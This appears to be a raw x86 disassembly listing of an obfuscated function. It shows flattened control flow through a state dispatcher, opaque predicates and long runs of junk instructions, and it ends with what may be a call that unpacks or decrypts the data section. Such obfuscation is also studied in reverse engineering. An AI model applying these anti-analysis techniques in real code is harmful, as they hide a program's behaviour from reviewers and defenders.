imul eax
add ebx, 0xc6
ror edx, 0xd6
rcl eax, 0x86
rol ebx, 0x78
neg eax
sub eax, 0xc6
bswap ebx
sub esi, 0xd5
neg edx
rcr esi, 0xa9
and esi, 0x45
rcr edx, 0xad
imul edi
sbb esi, 0x57
and eax, 0xdd
neg eax
ror edi, 0x65
rol edi, 0x24
sub edi, 0xee
mov eax, 0x11
bswap eax
and edi, 0xb1
mov eax, 0x4a
neg ebx
add eax, 0xb2
sub ebx, 0xed
not edi
mov eax, 0x8d
dec ebx
sub ebx, 0xf3
dec ebx
ror edx, 0x41
bswap edx
inc eax
inc esi
rol edx, 0x92
rcr ebx, 0xf5
not ebx
imul edx
neg edi
inc ebx
and edx, 0x73
sbb esi, 0xf6
inc esi
imul esi
ror edx, 0x15
mov ebx, 0x72
imul edi
or esi, 0xf6
rcl eax, 0x3f
not edx
mov eax, 0x40
inc esi
not edi
and ebx, 0x1c
rcl ebx, 0x17
inc ebx
rcl edx, 0x58
inc esi
or ebx, 0x1d
or edi, 0x2e
neg esi
rcl esi, 0x47
or esi, 0xc0
not edx
dec edx
inc eax
neg eax
dec edi
or edx, 0x3e
or eax, 0x61
not esi
inc edx
not ebx
imul edi
not edx
mov edi, 0x90
sub eax, 0xc4
rcr edi, 0x7c
rol ebx, 0x64
mov ebx, 0xa3
dec edx
neg esi
rol esi, 0xed
mov ebx, 0xc
rcl edi, 0x43
add eax, 0xf9
bswap edx
inc edi
not eax
not ebx
neg esi
dec eax
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xac]
mov ecx, dword [ecx]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb0]
mov ecx, dword [ecx]
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x54]
add eax, 0x24
mov dword [ecx], eax
rcl edi, 0x48
or edi, 0xaf
bswap edi
rcr eax, 0x9b
dec ebx
dec esi
sub edx, 0xb0
sbb esi, 0xfe
imul ebx
sub edi, 0xcf
rol eax, 0x1c
dec esi
add eax, 0x22
add esi, 0xee
neg ebx
dec eax
add edi, 0xb
mov edx, 0x17
inc eax
not edx
sbb edx, 0xf8
sbb ebx, 0xc4
not eax
not ebx
and edi, 0xc5
bswap edx
rcr edi, 0x70
bswap esi
not eax
rol edi, 0xf3
ror edx, 0x8d
inc edx
dec eax
add edi, 0x52
and edi, 0x2c
not esi
imul ebx
not eax
not esi
rcr ebx, 0x8e
sub eax, 0xae
dec edi
not edi
bswap eax
imul edi
inc eax
rol ebx, 0x73
add edx, 0x6b
or edi, 0xf3
sub edx, 2
not ebx
rol edx, 0xf8
add esi, 0xee
inc ebx
not eax
sbb eax, 0xa7
rcr eax, 0xdd
not esi
add esi, 0x7b
not edi
add edi, 0x2f
sbb esi, 0x4d
and esi, 0x69
and ebx, 0x25
rcl esi, 0x63
sub esi, 0x7f
rcl edi, 0xc3
bswap eax
inc eax
ror esi, 0x5a
and edx, 0xbd
not edi
mov edi, 0x92
rol esi, 0x64
inc edi
rol eax, 1
rcl edx, 8
dec edi
sbb eax, 0x19
imul esi
dec edi
and edx, 0xf7
mov edi, 0x14
mov esi, 0x42
add edi, 0xee
ror esi, 0x1c
rcl edi, 0xe6
not edi
sub edx, 0x80
ror edi, 0x2c
sbb esi, 5
add edx, 0xe1
not eax
dec edi
ror edx, 0xc
sub ebx, 0x9f
not esi
not edx
imul edi
rcr esi, 0xc2
neg edi
sub ebx, 0xa7
neg esi
not esi
rol ebx, 0xe9
imul edx
add eax, 0x52
mov edx, 0x38
imul esi
neg esi
and edi, 0x1a
ror eax, 0x95
rol edx, 0x6c
dec ebx
inc ebx
rol ebx, 0x15
ror edx, 0xfe
rcr edx, 0xf9
bswap ebx
sbb ebx, 0xf
not ebx
mov ebx, 0xaa
bswap edi
rcl eax, 0x53
neg edx
ror eax, 0x29
neg eax
imul ebx
rol esi, 0x4b
ror eax, 0xb8
neg edi
imul ebx
sub ebx, 0x45
inc edx
and ebx, 0xdd
mov esi, 0xf
not edi
ror edi, 0xca
ror edi, 0xed
rcl ebx, 0x64
mov esi, 0x65
imul ebx
ror edx, 3
inc esi
rcl ebx, 0x27
inc edx
mov ebx, 0x5d
sub eax, 0xda
sbb ebx, 0x94
mov ebx, 0xb0
mov edx, dword [ebp - 0x1c]
mov dword [edx], eax
mov eax, dword [ebp - 0x64]
mov eax, 0x254cba81
jmp 0x402240
cmp eax, 0x5380715e
jg 0x407eed
cmp eax, 0x52f511c4
je 0x40b68e
cmp eax, 0x533c6ffb
jne 0x402240
mov ecx, dword [0x4a2b84]
mov edi, 0x5616e5a2
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x642d6a3e
and edx, 0x9bd295c1
or edx, esi
mov esi, ecx
not esi
and ecx, 0x9bd295c1
or eax, esi
and esi, 0x642d6a3e
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 1
and edx, 0xfffffffe
and ecx, 0xfffffffe
or eax, ecx
or eax, edx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0xb74521e5
and eax, 0x48bade1a
or ecx, eax
mov eax, ecx
xor eax, 0x22002160
xor ecx, 0x48bade1a
mov esi, ecx
and esi, 0xd5ffd297
and eax, 0x2a002d68
or eax, esi
mov esi, edx
not esi
and edx, 0x2a002d68
or ecx, esi
and esi, 0xd5ffd297
or edx, esi
not ecx
mov esi, 0xd215ae30
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x32c10938
and eax, 0xcd3ef6c7
or ecx, eax
mov eax, ecx
xor eax, 0x32010108
xor ecx, 0x451040c5
and ecx, 0x45d048f5
and eax, 0xba2fb70a
or eax, ecx
cmp eax, 0xba2fb70a
setne dl
cmp dword [0x4a2b80], 0xa
mov ch, dl
setge al
setl ah
mov cl, al
xor al, dl
inc dl
and ch, ah
and cl, dl
or dl, ah
xor dl, 1
or cl, ch
or al, dl
mov edx, eax
mov ah, al
xor dl, 1
and dl, al
xor dl, 1
xor ah, dl
or dl, al
xor dl, 1
or dl, ah
xor dl, cl
mov ch, dl
test dl, 1
not ch
cmovne esi, edi
test ch, cl
cmovne esi, edi
test dl, 1
mov eax, esi
cmovne eax, edi
test ch, cl
mov ecx, dword [ebp - 0xa0]
cmove eax, esi
jmp 0x402240
cmp eax, 0xd215ae2f
jg 0x407f0d
cmp eax, 0xd169063c
je 0x40b77e
cmp eax, 0xd1ed0947
jne 0x402240
mov eax, 0x35d2e8e2
jmp 0x402240
cmp eax, 0x1156c4d7
je 0x40b793
cmp eax, 0x11a970f5
jne 0x402240
mov eax, 0xf0472b84
jmp 0x402240
cmp eax, 0xb464c0a6
je 0x40b874
cmp eax, 0xb585a7fe
jne 0x402240
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x3acf2163
mov esi, ecx
and esi, 0xc530de9c
and ecx, 0xc9a17c16
or edx, esi
mov esi, edx
xor esi, 0xa082042
xor edx, 0x84001494
and edx, 0xb4c715b4
and esi, 0x4b38ea4a
or esi, edx
mov edx, eax
or edx, 0xb4c715b4
and eax, 0x365e83e9
and edx, 0xb4c715b5
or eax, ecx
mov ecx, eax
xor edx, esi
xor ecx, 0x365e83e9
xor eax, 0xc9a17c16
mov esi, 0xf740d745
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
not eax
or eax, edx
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x4a2b80], 0xa
setge al
setl ch
mov cl, al
xor al, ah
and ah, ch
or ch, dl
and cl, dl
xor ch, 1
or cl, ah
or al, ch
mov ah, al
mov edx, ecx
not ah
xor dl, 1
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x258dddf4
cmovne ecx, esi
test al, al
mov esi, 0x258dddf4
jmp 0x405185
cmp eax, 0x6e4989f3
je 0x40b9ed
cmp eax, 0x6ec3bd37
jne 0x402240
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x2c]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*8 + 0xc]
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
mov dword [ebp - 0xf0], eax
mov eax, 0x76c0281e
jmp 0x402240
cmp eax, 0xf7626d21
je 0x40b9f7
cmp eax, 0xf78fac7b
jne 0x402240
mov eax, dword [0x4a2b84]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x253eea59
and eax, ecx
not ecx
or ecx, eax
not eax
and eax, 0xdac115a6
and ecx, 0x253eea59
or ecx, eax
mov eax, ecx
mov esi, ecx
xor esi, 0xb3718d04
not eax
mov edx, eax
or eax, 1
and esi, ecx
and edx, 0xb3718d04
and ecx, 0xc2ad9f1a
or edx, esi
not esi
and eax, 0x3d5260e5
or eax, ecx
and esi, 0x4c8e72fa
and edx, 0xb3718d05
or edx, esi
xor eax, 0x3d5260e5
mov esi, 0x3a69805e
or eax, edx
mov ecx, eax
not ecx
and eax, 0x2e3f59ad
and ecx, 0xd1c0a652
or eax, ecx
mov ecx, eax
xor ecx, 0x263a5884
xor eax, 0x51002400
and ecx, 0xa6fadad6
and eax, 0x59052529
or eax, ecx
xor eax, 0x59052529
setne dl
sete al
cmp dword [0x4a2b80], 0xa
setl ah
mov cl, ah
or dl, ah
or cl, al
xor al, ah
xor dl, 1
xor cl, 1
or cl, al
and al, ah
or al, dl
mov edx, ecx
xor al, 1
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xe5da2b57
cmovne ecx, esi
test al, al
mov esi, 0xe5da2b57
mov eax, ecx
cmovne eax, esi
test dl, dl
cmovne eax, ecx
jmp 0x402240
cmp eax, 0x3a69805e
je 0x40bb06
cmp eax, 0x3a809883
jne 0x402240
push eax
mov eax, esp
mov dword [ebp - 0x1c], eax
push eax
mov eax, esp
mov dword [ebp - 0x80], eax
push eax
mov eax, esp
mov dword [ebp - 0x9c], eax
push eax
mov eax, esp
mov dword [ebp - 0x14], eax
push eax
mov eax, esp
mov dword [ebp - 0x20], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xa0], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0x6c], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x38], eax
push eax
mov eax, esp
mov dword [ebp - 0x18], eax
push eax
mov eax, esp
mov dword [ebp - 0xa4], eax
push eax
mov eax, esp
mov dword [ebp - 0x30], eax
push eax
mov eax, esp
mov dword [ebp - 0x2c], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0x34], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov eax, esp
mov dword [ebp - 0x84], eax
push eax
mov eax, esp
mov dword [ebp - 0x44], eax
push eax
mov eax, esp
mov dword [ebp - 0x5c], eax
push eax
mov eax, esp
mov dword [ebp - 0x60], eax
push eax
mov eax, esp
mov dword [ebp - 0x48], eax
push eax
mov eax, esp
mov dword [ebp - 0x88], eax
push eax
mov eax, esp
mov dword [ebp - 0x50], eax
push eax
mov eax, esp
mov dword [ebp - 0x8c], eax
push eax
mov eax, esp
mov dword [ebp - 0x3c], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0x90], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0x24], eax
push eax
mov eax, esp
mov dword [ebp - 0x40], eax
push eax
mov eax, esp
mov dword [ebp - 0x28], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0x54], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0x64], eax
push eax
mov eax, esp
mov dword [ebp - 0x68], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x94], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x80]
mov dword [eax], ecx
and eax, 0x7e
bswap eax
neg edx
ror edi, 0x36
rcl ebx, 0xe2
inc edi
sbb edi, 0xc0
add ebx, 0x54
inc ebx
not eax
sbb eax, 0x6c
neg ebx
neg ebx
sbb esi, 0xe2
bswap eax
rcr ebx, 0x2d
inc ebx
rol edx, 0x2a
inc eax
inc ebx
ror ebx, 4
bswap edx
and ebx, 0xe4
imul esi
sub eax, 0xfc
imul esi
or edi, 0x50
add esi, 0xd8
rcr edx, 0x82
add eax, 0xb1
bswap esi
inc edx
or esi, 0x6f
not edx
dec ebx
neg eax
dec ebx
mov edi, 0x8c
mov edi, 0x67
not ebx
or esi, 0x91
and esi, 0xbf
not edi
rcl edx, 0xe0
rcl edx, 0x52
not edi
sbb esi, 0x62
bswap eax
inc esi
bswap edx
or esi, 0x96
or edi, 0xe8
imul ebx
rcr edx, 0xb
bswap ebx
dec edi
rcl ebx, 0x51
rcr edx, 0x3f
dec eax
and edx, 0x92
bswap edx
not edi
and esi, 0x80
or eax, 0x2f
sbb ebx, 0x3e
dec eax
rol edx, 0x2d
not esi
rcl edx, 0xa5
neg ebx
rcl esi, 0xaa
or eax, 0xdd
rol esi, 0x2a
ror esi, 0
neg ebx
dec eax
imul edi
dec ebx
add esi, 0x30
bswap edi
dec edx
neg edx
neg edi
imul ebx
inc ebx
imul esi
add ebx, 0xee
neg esi
rcr eax, 0xa2
imul edi
sbb edi, 0x32
bswap eax
mov edi, 0xd8
inc ebx
not eax
bswap ebx
dec ebx
not eax
rol eax, 0x36
bswap edx
dec ebx
dec edi
not edx
ror edx, 0x6d
rol esi, 0x12
rcl esi, 0x69
dec edx
bswap esi
not edx
not edx
or esi, 0xff
mov edx, 0xe
mov esi, 0xac
mov edx, 0xdc
neg ebx
sbb eax, 0xda
inc edx
not ebx
not edx
inc esi
not ebx
imul eax
inc edi
and esi, 0x31
rcr edx, 0x7f
neg ebx
bswap ebx
dec edx
not edx
sub edi, 0x92
imul edx
imul esi
mov esi, 0xbb
and ebx, 0xae
rcl esi, 0x66
dec ebx
or eax, 0x45
inc eax
and edi, 0x6a
add edx, 0x7b
bswap edx
inc esi
mov edi, 0xe9
and eax, 0xb3
inc ebx
not edx
dec ebx
mov edx, 0x1d
rcr ebx, 0xb
sub eax, 0x3f
ror eax, 0xde
imul eax
rol ebx, 9
sub esi, 0xa2
neg eax
bswap eax
dec edi
bswap edx
mov edi, 0x67
inc ebx
dec edi
ror eax, 0x7f
dec edi
add ebx, 0x97
imul ebx
imul ebx
rcr eax, 0x84
imul eax
not esi
sub esi, 0x6d
rcr ebx, 0x64
rcl ebx, 0xcd
or ebx, 5
inc edx
rcr esi, 0x6c
bswap eax
rcl ebx, 0x3d
ror edi, 0xe
neg edi
bswap ebx
neg esi
inc edx
not esi
imul edx
not edx
sbb edx, 0xd0
dec edx
inc ebx
sub edx, 0x4a
rcl ebx, 0x14
mov edx, 0x8a
dec edx
sbb eax, 0x56
imul edx
add eax, 0x3e
rcl esi, 0x4c
neg ebx
dec edi
rcr eax, 0x8c
rcl esi, 0x48
sub ebx, 0xb6
ror edx, 4
mov ebx, 0x3f
dec esi
neg edi
not edx
or ebx, 0xe5
sub edx, 0x7f
and edx, 0xf3
inc eax
rcr edx, 0x65
sbb ebx, 0x60
rcl esi, 0x96
ror edi, 0xa3
inc eax
or edx, 0x43
bswap esi
not esi
rol edx, 5
bswap edi
sub esi, 0x29
sbb edx, 0x46
not eax
rol edi, 0x5a
bswap eax
or edx, 0x96
or esi, 0x44
ror edi, 0x53
and edi, 0x13
ror esi, 0x7d
ror ebx, 0xdc
or esi, 0x24
rol esi, 0x8f
sbb edi, 0x68
neg ebx
not edx
bswap esi
imul ebx
or edi, 0xdb
imul esi
inc esi
dec eax
add esi, 0xed
imul esi
not eax
inc edx
sub eax, 0xf9
sub esi, 0xe6
and esi, 0xe6
rcl ebx, 0xfa
add esi, 0x36
bswap edx
inc edx
sbb edx, 0x65
not esi
mov edi, 0xbc
add ebx, 0x80
dec edx
and esi, 2
sbb eax, 0xba
imul edx
inc edx
rcr edx, 0xe6
or edi, 0xf8
bswap eax
imul ebx
mov edi, 0x64
neg eax
rol esi, 0x42
ror ebx, 0xa5
or ebx, 7
rcr edi, 0xa6
neg ebx
sub edi, 0x74
rcr ebx, 0x68
neg esi
sbb edx, 0x68
or eax, 0xb9
sbb edx, 5
rcl edx, 0xd1
rcr ebx, 0x46
inc eax
ror edx, 0xfe
sbb esi, 0xa9
add edi, 0xc5
bswap esi
imul eax
and esi, 0x67
neg edx
inc esi
imul eax
rcr ebx, 0xfb
or eax, 0x41
ror eax, 2
rol eax, 0xb7
neg edx
mov ebx, 0x71
sbb edi, 0x9a
and edi, 0x70
not ebx
mov edx, 0xbf
bswap esi
not esi
ror edx, 0xb9
imul edi
dec esi
inc edi
imul eax
add ebx, 0x6d
imul edx
neg esi
add edx, 0x6f
imul eax
ror esi, 0xa
imul edx
not eax
rcl eax, 0x53
rcl edx, 0xf1
rol eax, 0x50
rcl edi, 0xe4
neg ebx
mov edx, 9
inc ebx
neg ebx
ror eax, 0xce
and edi, 0x23
not ebx
mov edx, 0x4b
not eax
bswap esi
ror edx, 0x7d
not edx
ror esi, 1
dec esi
or edi, 0xd1
imul eax
or esi, 0x2f
neg esi
not esi
not edi
mov edx, 0xaa
rol edx, 0x38
bswap esi
bswap esi
rcr edi, 0xc1
sbb edi, 7
mov edi, 0xd6
inc edx
ror eax, 0x89
inc edx
imul eax
add ebx, 0
imul eax
neg edi
not edx
dec eax
rol eax, 0xfe
mov edx, 0x65
rcr edx, 0xcb
add esi, 0xb1
add eax, 0x47
bswap eax
neg edx
sbb edx, 0x9f
ror edi, 0x7d
not edi
rol ebx, 0xef
not edi
neg esi
imul edx
neg edi
and ebx, 0xf8
imul edx
neg esi
dec edx
sbb esi, 0xfc
rol eax, 0xba
neg ebx
rol edi, 0x2f
rcr edi, 0
dec edx
not esi
bswap edx
rcr ebx, 0xd8
ror edi, 0x55
imul edi
inc ebx
not esi
not edi
sub edx, 0x24
add edi, 0x78
dec edx
or esi, 0x41
neg eax
ror esi, 0x75
mov eax, 0xc7
or eax, 0x38
inc edi
not eax
sbb edi, 0x2b
rol eax, 0x9d
or esi, 0x7f
and edx, 0xdf
add ebx, 0xdf
bswap edx
or esi, 0x3b
rcl edi, 0xa1
not edx
mov eax, 0x94
imul edi
dec ebx
or esi, 0x4c
sub edi, 0x50
ror edx, 0xc6
dec eax
rcr eax, 0x95
dec esi
inc edi
inc ebx
rcr eax, 0x94
bswap ebx
rcl esi, 3
not eax
not esi
add ebx, 0xf3
dec edi
and edx, 0x26
rol edi, 9
ror edx, 0xfc
mov edx, 0x63
or edx, 0x78
inc edi
bswap ebx
inc esi
not edx
not edx
add ebx, 0x7c
rcl edi, 0xed
ror esi, 0xcd
dec eax
sub esi, 0x88
not edi
neg edx
not eax
bswap edx
bswap ebx
mov edx, 0x46
bswap eax
imul ebx
dec esi
rol edx, 0xcc
rcr edi, 0x29
imul edi
sbb eax, 0x88
bswap ebx
and edi, 0x27
dec edx
rol edi, 0xd1
mov edx, 0x8f
or edi, 0x79
add ebx, 0xb7
not edi
mov ebx, 0xb9
mov esi, 0x1e
or eax, 0xa1
not esi
not ebx
bswap esi
mov edx, 0x6a
mov esi, 0x59
neg eax
or esi, 0x1c
imul edx
dec edx
imul esi
neg ebx
not edx
add eax, 0xff
dec edi
and edi, 0x3f
sub ebx, 0xe3
imul eax
sbb eax, 0xcf
and edi, 0x37
dec esi
bswap esi
bswap eax
neg eax
inc esi
bswap edx
and eax, 0x7f
add esi, 0xa1
not ebx
rcr edx, 0x92
dec ebx
rcl edi, 0xb5
inc edx
dec edi
add edi, 0x89
and edx, 0x10
inc ebx
inc esi
sub edx, 0x73
sbb edi, 0xbe
dec ebx
not edx
rol edx, 0x6b
sbb edx, 0xee
rcl edi, 0x14
rcl edi, 0x7b
sub eax, 0x81
bswap edx
bswap ebx
bswap edi
bswap eax
inc edi
or esi, 0xa6
ror ebx, 0x25
or esi, 0x9e
rcl edi, 0x55
inc esi
neg eax
dec eax
not esi
not edi
inc ebx
and eax, 0xe6
imul eax
neg eax
imul edi
not esi
imul edx
imul eax
and eax, 0xfe
dec esi
dec ebx
rcr ebx, 0x40
dec esi
or eax, 0xe9
ror esi, 0xae
rcr edi, 0xad
inc eax
ror esi, 0xe1
rol edx, 0xca
rcr edi, 0xe8
ror eax, 0xff
bswap edx
add ebx, 0xb8
ror edi, 7
neg esi
or edi, 0x6f
bswap esi
bswap ebx
inc esi
dec ebx
imul edx
neg eax
rcl ebx, 0x36
imul edx
or edi, 0x88
sub esi, 0xf1
imul eax
inc esi
rcr edi, 0x69
inc esi
mov eax, 0x7e
bswap eax
or edx, 0x8a
neg ebx
rol ebx, 0x47
rol ebx, 0x22
and edi, 0xb7
inc eax
imul eax
inc ebx
dec ebx
imul edx
inc esi
rol ebx, 0x6e
sub ebx, 0xb1
imul edi
mov edi, 0x79
inc edi
sbb esi, 0x13
bswap edx
dec edx
sub edx, 0xdc
mov edx, 0xa9
rcr ebx, 0x9f
or eax, 0xe4
not edi
dec eax
inc edi
mov edi, 0x45
imul eax
add edi, 0x86
not esi
not edi
imul edi
imul esi
mov edx, dword [ebp - 0x1c]
mov dword [edx], eax
push 0x48800
push section..data
vzeroupper
call section..text
add esp, 8
mov eax, dword [ebp - 0x80]
mov dword [eax], section..data
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x573543d3
and eax, 0x40080268
mov edx, ecx
and edx, 0xa8cabc2c
or ecx, 0x31c0ed02
or esi, edx
and ecx, 0xbbe7ed83
mov edx, esi
xor esi, 0x20c0ac00
xor edx, 0x4100010
or eax, ecx
or esi, 0x8a270081
and edx, 0x4101014
and esi, 0xbbe7ed83
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xcec1359
and ecx, 0xf313eca6
or eax, ecx
mov esi, eax
mov ecx, eax
xor ecx, 0xc6c311b0
xor esi, 0x393cee4f
xor eax, 0xaf9e0156
mov edx, ecx
or edx, esi
and esi, 0x19c0c71a
and ecx, 0xe63f38e4
and eax, edx
or ecx, esi
mov edx, eax
not edx
and eax, 0x225459c7
and edx, 0xddaba638
or eax, edx
mov edx, eax
xor edx, 0x300086c1
xor eax, 0x4b094920
mov esi, eax
and esi, 0xcdff391e
and edx, 0x3200c6e1
or edx, esi
mov esi, ecx
xor esi, 0x220000e0
xor ecx, 0x19c0c71b
or eax, ecx
and ecx, 0xcdff391e
and esi, 0x3200c6e0
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x8cc4e918
mov ecx, eax
not ecx
and eax, 0x228ab16d
and ecx, 0xdd754e92
or eax, ecx
mov ecx, eax
xor ecx, 0x22883068
xor eax, 0x5c200010
and ecx, 0xa3dd7eea
and eax, 0x5c228115
or eax, ecx
cmp eax, 0x5c228115
sete al
cmp dword [0x4a2b80], 0xa
setge cl
xor cl, al
and al, cl
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
mov eax, ecx
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x91cb36d3
cmovne eax, esi
test cl, cl
mov ecx, 0x91cb36d3
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x402240
cmp eax, 0x8803e886
je 0x40bb19
cmp eax, 0x89284a82
jne 0x402240
mov eax, dword [0x4a2b84]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x4822069a
and ecx, 0x9794b941
and eax, 0x20494024
or edx, eax
xor edx, 0x4822069a
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xafbe3c27
and eax, 0x5041c3d8
or ecx, eax
mov edx, ecx
xor edx, 0xc7d57a99
xor ecx, 0x382a8566
mov eax, ecx
mov esi, edx
or eax, 1
and ecx, 0xfffffffe
and esi, 1
and edx, 0xfe10046e
or esi, ecx
mov ecx, eax
and ecx, 0x1effb91
or edx, ecx
mov ecx, esi
not ecx
and esi, 0xfe10046e
or eax, ecx
and ecx, 0x1effb91
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x7245911e
mov ecx, eax
xor ecx, 0x7efd96e2
mov edx, eax
and edx, 0x40648420
and ecx, eax
not eax
and eax, 0x3e9912c2
or edx, eax
xor edx, 0x40648420
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x4d07c65b
and eax, 0xb2f839a4
or ecx, eax
xor ecx, 0x33fa50b9
setne al
sete ah
cmp dword [0x4a2b80], 0xa
mov ch, al
setl cl
setge dl
and ch, dl
and cl, ah
xor al, dl
or cl, ch
and al, ah
xor cl, 1
xor al, 1
or cl, dl
or dl, ah
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
xor al, 1
mov edx, eax
or al, cl
xor dl, cl
mov ebx, eax
xor bl, dl
test al, 1
mov eax, 0x3d8f2b01
cmovne eax, esi
test dl, 1
mov edx, 0x3d8f2b01
cmove eax, esi
test bl, 1
cmove eax, edx
jmp 0x402240
cmp eax, 0x470b8eda
je 0x40bb23
cmp eax, 0x49214a45
jne 0x402240
cmp byte [ebp - 0x75], 0
mov eax, 0xc21dee7e
mov ecx, 0x5c62b780
cmovne eax, ecx
jmp 0x402240
cmp eax, 0xca53eaef
je 0x40bc85
cmp eax, 0xca599357
jne 0x402240
mov ecx, dword [0x4a2b84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xc3f72b09
mov esi, ecx
and esi, 0x3c08d4f6
mov edi, ecx
or edi, 0x2401200
and ecx, 0xc76139f0
or edx, esi
and edi, 0xa663ba8d
mov esi, edx
xor edx, 0x1000
xor esi, 0x1800100
or edx, 0xa423a88d
and esi, 0x9884140
and edx, 0xa663ba8d
or esi, edx
mov edx, eax
and edx, 0x50140432
and eax, 0x389ec60f
or edx, edi
or eax, ecx
xor edx, esi
mov esi, edx
not esi
and edx, 0x973e0492
and esi, 0x68c1fb6d
or edx, esi
mov esi, edx
xor esi, 0x18c00693
xor edx, 0x6309a82c
mov ecx, edx
and ecx, 0xe73ff140
and esi, 0x18c00ebf
or esi, ecx
mov ecx, eax
xor ecx, 0x1880060f
xor eax, 0xc7213140
and eax, 0xe73ff140
and ecx, 0x18c00ebf
or ecx, eax
xor ecx, esi
mov esi, 0xf4d8d461
xor edx, ecx
test edx, ecx
sete ch
setne dl
cmp dword [0x4a2b80], 0xa
mov cl, ch
setl ah
setge al
xor cl, ah
mov dh, ah
and al, ch
and cl, dl
or dh, dl
and dl, ah
or ah, ch
xor cl, 1
xor ah, 1
or al, dl
mov ebx, ecx
or cl, dh
or al, ah
xor bl, dh
xor cl, 1
mov ah, al
or cl, bl
xor ah, 1
mov edx, ecx
xor dl, al
and al, cl
and dl, cl
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x9d6ebbcb
jmp 0x4082dd
cmp eax, 0x9a9ce51
je 0x40bc92
cmp eax, 0xacd1cb0
jne 0x402240
mov eax, 0xf99c95e
jmp 0x402240
cmp eax, 0xac0388d3
je 0x40bc9c
cmp eax, 0xae7fecb2
jne 0x402240
mov eax, dword [ebp - 0x20]
mov dword [eax], 0x10
mov eax, 0x1e6eb0a1
jmp 0x402240
cmp eax, 0x65859453
je 0x40bcac
cmp eax, 0x66325fbf
jne 0x402240
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0xa8]
mov eax, 0xf8b0dcb4
jmp 0x402240
cmp eax, 0xeee7b77c
je 0x40bdab
cmp eax, 0xef60a581
jne 0x402240
mov eax, dword [ebp - 0x90]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x60]
mov edx, dword [edx]
mov esi, dword [ebp - 0x48]
mov esi, dword [esi]
lea esi, [esi + esi*4]
add ecx, dword [edx + esi*4 + 0x10]
mov edx, dword [ebp - 0x3c]
mov edx, dword [edx]
mov dword [ecx + edx*4], eax
mov eax, 0x249f062f
jmp 0x402240
cmp eax, 0x24148cea
je 0x40bde5
cmp eax, 0x249f062f
jne 0x402240
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0xbc]
mov eax, 0x9a876be
jmp 0x402240
cmp eax, 0x93eb04ea
je 0x40bdfb
cmp eax, 0x9444c1c0
jne 0x402240
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x100], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x104], eax
mov eax, 0x9a9acf1c
jmp 0x402240
cmp eax, 0x57b34000
je 0x40be17
cmp eax, 0x57bb8847
jne 0x402240
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x80]
push 0x400
push dword [ecx]
push dword [eax]
vzeroupper
call fcn.00445b00
add esp, 0xc
ror esi, 0
